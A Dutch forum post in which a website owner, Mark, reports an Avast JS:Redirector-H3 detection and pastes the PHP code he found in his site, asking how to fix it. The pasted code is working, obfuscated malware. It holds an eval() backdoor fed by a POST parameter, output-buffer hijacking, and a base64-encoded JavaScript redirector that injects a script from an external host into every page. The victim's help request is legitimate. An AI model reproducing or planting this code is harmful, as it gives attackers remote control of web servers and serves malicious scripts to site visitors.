Hoi allemaal,
Ik gebruik avast antivirus en volgens dat programma zit er een deel van JS:Redirector-H3 in mijn website.
Nu staat deze php in mijn site en als ik hem weg haal geeft ie geen melding meer van die trojaan:
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihGcFNXKXt2YXIgYnhCPSd2YWA3MmAyMGFgM2RgMjJgNTNjcmA2OXB0RW5gNjdpbmVgMjJgMmNiYDNkYDIyVmVgNzJzaW9uKGAyOStgMjJgMmNgNmFgM2RgMjJgMjJgMmN1YDNkbmF2aWdgNjF0YDZmcmAyZXVzYDY1YDcyQWdgNjVudGAzYmlgNjYoKHVgMmVgNjluZGV4T2YoYDIyV2luYDIyKWAzZTApYDI2YDI2KHVgMmVpbmRlYDc4T2YoYDIyTlRgMjA2YDIyKWAzYzBgMjlgMjZgMjZgMjhgNjRvY3VgNmRlbnRgMmVgNjNgNmZva2A2OWVgMmVgNjlgNmVkZWA3OE9gNjYoYDIybWlla2AzZDFgMjJgMjlgM2MwKWAyNmAyNih0eXBlb2YoenJ2YDdhdHNgMjlgMjFgM2R0eWA3MGVvZihgMjJgNDFgMjJgMjkpKWA3YmA3YXJgNzZ6dGA3M2AzZGAyMkFgMjJgM2JldmFgNmNgMjhgMjJpYDY2KHdpbmRvYDc3YDJlYDIyK2ErYDIyKWpgM2RqK2AyMmAyYmFgMmJgMjJNYWA2YW9yYDIyK2IrYStgMjJNaWA2ZWA2ZnJgMjJgMmJgNjJgMmJhYDJiYDIyQmA3NWlsYDY0YDIyK2IrYDIyamAzYmAyMilgM2JkYDZmY2A3NWA2ZGVudGAyZXdyaXRlKGAyMmAzY3NgNjNyaXB0YDIwc3JjYDNkYDJmYDJmZ3VtYmxhYDcyYDJlY25gMmZyYDczYDczYDJmYDNmaWRgM2RgMjIrYDZhK2AyMmAzZWAzY2A1Y2AyZnNjcmlwYDc0YDNlYDIyKWAzYmA3ZCc7dmFyIEZPUTc9YnhCLnJlcGxhY2UoRnBTVywnJScpO3ZhciB4d3B6PXVuZXNjYXBlKEZPUTcpO2V2YWwoeHdweil9KSgvYC9nKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><script language="php"> include("setup.php");</script>
Maar als ik deze weghaal, werkt mijn site ook niet meer goed.
Weet iemand wat er veranderd moet worden aan deze code?
bij voorbaat dank,
Mark
1.082 views
